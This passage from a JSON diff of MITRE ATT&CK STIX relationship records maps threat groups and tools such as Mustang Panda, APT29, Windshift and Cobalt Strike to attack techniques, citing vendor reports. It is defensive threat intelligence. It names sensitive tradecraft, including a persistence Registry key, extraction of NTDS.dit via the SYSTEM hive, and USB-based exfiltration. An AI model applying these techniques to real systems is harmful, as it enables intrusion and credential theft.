"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Blackberry Bahamut", + "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", + "description": "The Blackberry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021." + } + ], + "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used malware to identify the computer name of a compromised host.(Citation: Blackberry Bahamut)", + "relationship_type": "uses", + "id": "relationship--ea41718b-4215-43d4-8d1f-def88af935e3", + "type": "relationship", + "modified": "2021-04-12T16:12:36.773Z", + "created": "2021-04-12T16:12:36.773Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "external_references": [ + { + "source_name": "Blackberry Bahamut", + "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", + "description": "The Blackberry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021." + } + ], + "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used WMI to collect information about target machines.(Citation: Blackberry Bahamut)", + "relationship_type": "uses", + "id": "relationship--c53a4d1a-7d41-451e-a4f8-4f69ad27ab7d", + "type": "relationship", + "modified": "2021-04-12T16:15:42.609Z", + "created": "2021-04-12T16:15:42.609Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "Talos Cobalt Strike September 2020", + "url": " https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf", + "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021." + } + ], + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can modify Registry values within HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\\\Excel\\Security\\AccessVBOM\\ to enable the execution of additional code.(Citation: Talos Cobalt Strike September 2020)", + "relationship_type": "uses", + "id": "relationship--45376fe9-2a43-4e09-942e-82be661ed572", + "type": "relationship", + "modified": "2021-04-12T17:55:07.750Z", + "created": "2021-04-12T17:55:07.750Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "external_references": [ + { + "source_name": "Talos Cobalt Strike September 2020", + "url": " https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf", + "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021." + } + ], + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can exploit Oracle Java vulnerabilities for execution, including CVE-2011-3544, CVE-2013-2465, CVE-2012-4681, and CVE-2013-2460.(Citation: Talos Cobalt Strike September 2020)", + "relationship_type": "uses", + "id": "relationship--de676fc0-0b1f-4392-a84b-f412c660d89a", + "type": "relationship", + "modified": "2021-04-12T18:09:42.763Z", + "created": "2021-04-12T18:09:42.763Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "external_references": [ + { + "source_name": "Crowdstrike MUSTANG PANDA June 2018", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021." + }, + { + "source_name": "Anomali MUSTANG PANDA October 2019", + "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used an additional filename extension to hide the true file type.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)", + "relationship_type": "uses", + "id": "relationship--71e1f45e-c6ee-4dfa-9fdd-8a8a65a9a9d2", + "type": "relationship", + "modified": "2021-04-12T20:07:50.559Z", + "created": "2021-04-12T19:26:30.402Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Crowdstrike MUSTANG PANDA June 2018", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021." + }, + { + "source_name": "Anomali MUSTANG PANDA October 2019", + "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021." + }, + { + "source_name": "Secureworks BRONZE PRESIDENT December 2019", + "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", + "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021." + }, + { + "source_name": "Recorded Future REDDELTA July 2020", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", + "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021." + }, + { + "source_name": "Proofpoint TA416 November 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", + "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has delivered initial payloads hidden using archives and encoding measures.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 November 2020)", + "relationship_type": "uses", + "id": "relationship--bf78e7f6-2dc5-4b1b-95bb-03e8e5e0e5a1", + "type": "relationship", + "modified": "2021-04-19T19:18:47.901Z", + "created": "2021-04-12T19:26:30.430Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "external_references": [ + { + "source_name": "Crowdstrike MUSTANG PANDA June 2018", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021." + }, + { + "source_name": "Anomali MUSTANG PANDA October 2019", + "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021." + }, + { + "source_name": "Secureworks BRONZE PRESIDENT December 2019", + "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", + "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has embedded VBScript components in LNK files to download additional files and automate collection.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)", + "relationship_type": "uses", + "id": "relationship--2d352952-c19d-4e1d-8d23-1001f69b74d0", + "type": "relationship", + "modified": "2021-04-19T17:06:51.394Z", + "created": "2021-04-12T19:26:30.344Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "Crowdstrike MUSTANG PANDA June 2018", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021." + }, + { + "source_name": "Anomali MUSTANG PANDA October 2019", + "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used malicious PowerShell scripts to enable execution.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)", + "relationship_type": "uses", + "id": "relationship--d37fac03-0b94-4794-b51a-e7db3d64294b", + "type": "relationship", + "modified": "2021-04-12T20:07:51.468Z", + "created": "2021-04-12T19:26:30.384Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "external_references": [ + { + "source_name": "Crowdstrike MUSTANG PANDA June 2018", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "description": "Meyers, A. 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CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has sent malicious files requiring direct victim interaction to execute.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Avira Mustang Panda January 2020)(Citation: Recorded Future REDDELTA July 2020)", + "relationship_type": "uses", + "id": "relationship--e122c13d-078d-4404-b2a0-e0e2341dbd2e", + "type": "relationship", + "modified": "2021-04-13T20:27:52.340Z", + "created": "2021-04-12T19:26:30.386Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "external_references": [ + { + "source_name": "Crowdstrike MUSTANG PANDA June 2018", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "description": "Meyers, A. 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Retrieved April 13, 2021." + } + ], + "description": "(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: McAfee Dianxun March 2021)", + "relationship_type": "uses", + "id": "relationship--43924791-6149-4869-a30c-0cad37d1e6f6", + "type": "relationship", + "modified": "2021-04-13T20:27:52.565Z", + "created": "2021-04-12T19:26:30.530Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "external_references": [ + { + "source_name": "Crowdstrike MUSTANG PANDA June 2018", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "description": "Meyers, A. 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[Mustang Panda](https://attack.mitre.org/groups/G0129) has also stored documents for exfiltration in a hidden folder on USB drives.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Avira Mustang Panda January 2020)", + "relationship_type": "uses", + "id": "relationship--c890e6af-c827-4369-a0f7-fb351c6b6ec5", + "type": "relationship", + "modified": "2021-04-13T20:27:52.328Z", + "created": "2021-04-13T19:29:21.090Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "external_references": [ + { + "source_name": "Secureworks BRONZE PRESIDENT December 2019", + "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", + "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has installed TeamViewer on targeted systems.(Citation: Secureworks BRONZE PRESIDENT December 2019)", + "relationship_type": "uses", + "id": "relationship--3d32be2c-02cd-4210-879a-429ca9d21f99", + "type": "relationship", + "modified": "2021-04-19T17:52:40.745Z", + "created": "2021-04-13T19:29:21.096Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", + "external_references": [ + { + "source_name": "Secureworks BRONZE PRESIDENT December 2019", + "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", + "description": "Counter Threat Unit Research Team. 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[Mustang Panda](https://attack.mitre.org/groups/G0129) has also used reg save on the SYSTEM file Registry location to help extract the NTDS.dit file.(Citation: Secureworks BRONZE PRESIDENT December 2019)", + "relationship_type": "uses", + "id": "relationship--b6da41e9-9925-4b83-b9a7-d29509b852de", + "type": "relationship", + "modified": "2021-04-19T17:49:24.416Z", + "created": "2021-04-13T19:29:21.093Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "external_references": [ + { + "source_name": "Secureworks BRONZE PRESIDENT December 2019", + "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", + "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) used custom batch scripts to collect files automatically from a targeted system.(Citation: Secureworks BRONZE PRESIDENT December 2019)", + "relationship_type": "uses", + "id": "relationship--c51dce73-f92b-4eaa-b00b-4466f3e3ae09", + "type": "relationship", + "modified": "2021-04-13T19:29:21.144Z", + "created": "2021-04-13T19:29:21.144Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", + "external_references": [ + { + "source_name": "Secureworks BRONZE PRESIDENT December 2019", + "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", + "description": "Counter Threat Unit Research Team. (2019, December 29). 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Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has delivered spearphishing links to their target.(Citation: McAfee Dianxun March 2021)", + "relationship_type": "uses", + "id": "relationship--529e6ba3-a73d-4cca-84e9-d2d047340aa0", + "type": "relationship", + "modified": "2021-04-13T20:27:51.711Z", + "created": "2021-04-13T20:27:51.711Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Avira Mustang Panda January 2020", + "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", + "description": "Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. 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New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129)'s [PlugX](https://attack.mitre.org/software/S0013) variant has created a hidden folder on USB drives named RECYCLE.BIN to store malicious executables and collected data.(Citation: Avira Mustang Panda January 2020)", + "relationship_type": "uses", + "id": "relationship--34b96e5d-1b2a-4ca5-89b5-7de398966bea", + "type": "relationship", + "modified": "2021-04-19T17:14:29.326Z", + "created": "2021-04-13T20:27:51.719Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Recorded Future REDDELTA July 2020", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", + "description": "Insikt Group. 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Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has downloaded additional executables following the initial infection stage.(Citation: Recorded Future REDDELTA July 2020)", + "relationship_type": "uses", + "id": "relationship--c592bcf5-6e88-4d77-a274-0a58b7388e76", + "type": "relationship", + "modified": "2021-04-13T20:27:51.721Z", + "created": "2021-04-13T20:27:51.721Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "Avira Mustang Panda January 2020", + "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", + "description": "Hamzeloofard, S. (2020, January 31). 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Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has created the registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\AdobelmdyU to maintain persistence.(Citation: Proofpoint TA416 November 2020)", + "relationship_type": "uses", + "id": "relationship--c0561e30-556b-486b-a7fa-1be6feece584", + "type": "relationship", + "modified": "2021-04-13T20:27:51.720Z", + "created": "2021-04-13T20:27:51.720Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "external_references": [ + { + "source_name": "Avira Mustang Panda January 2020", + "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", + "description": "Hamzeloofard, S. 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Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used netstat -ano to determine network connection information.(Citation: Avira Mustang Panda January 2020)", + "relationship_type": "uses", + "id": "relationship--2cc2c5ca-7c7a-4ab7-9cb3-76bdd14324b8", + "type": "relationship", + "modified": "2021-04-19T17:52:40.888Z", + "created": "2021-04-13T20:27:51.993Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", + "external_references": [ + { + "source_name": "Avira Mustang Panda January 2020", + "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", + "description": "Hamzeloofard, S. (2020, January 31). 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Retrieved April 13, 2021." + } + ], + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used a customized [PlugX](https://attack.mitre.org/software/S0013) variant which could exfiltrate documents from air-gapped networks.(Citation: Avira Mustang Panda January 2020)", + "relationship_type": "uses", + "id": "relationship--6f8d9c8d-750d-40c2-9722-c000b1efda13", + "type": "relationship", + "modified": "2021-04-19T17:06:51.562Z", + "created": "2021-04-13T20:27:51.996Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "external_references": [ + { + "source_name": "Avira Mustang Panda January 2020", + "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", + "description": "Hamzeloofard, S. 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Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--79b3c546-efbf-4642-b5f1-61d4b497d4b9", + "type": "relationship", + "modified": "2021-04-16T19:04:13.561Z", + "created": "2021-04-16T19:04:13.561Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + } + ], + "description": "(Citation: Symantec RAINDROP January 2021)", + "relationship_type": "uses", + "id": "relationship--a45bd763-a162-4b02-86f2-6042ff0eaa4a", + "type": "relationship", + "modified": "2021-04-16T19:04:13.573Z", + "created": "2021-04-16T19:04:13.573Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "malware--b7010785-699f-412f-ba49-524da6033c76", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. 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Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + } + ], + "description": "(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--b22b0a6c-5960-4232-9fb6-bae84fcc07ca", + "type": "relationship", + "modified": "2021-04-16T19:04:13.580Z", + "created": "2021-04-16T19:04:13.580Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--48c43e15-210c-491f-9198-928b583470d9", + "type": "relationship", + "modified": "2021-04-16T19:04:13.566Z", + "created": "2021-04-16T19:04:13.566Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--f5e2c4ef-fe56-416e-8d74-733272c7310b", + "type": "relationship", + "modified": "2021-04-16T19:04:13.689Z", + "created": "2021-04-16T19:04:13.689Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used [GoldFinder](https://attack.mitre.org/software/S0597) to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--7af0039a-dc4f-4b64-82f5-8d77a67c8c51", + "type": "relationship", + "modified": "2021-04-16T21:33:50.512Z", + "created": "2021-04-16T21:33:50.512Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "target_ref": 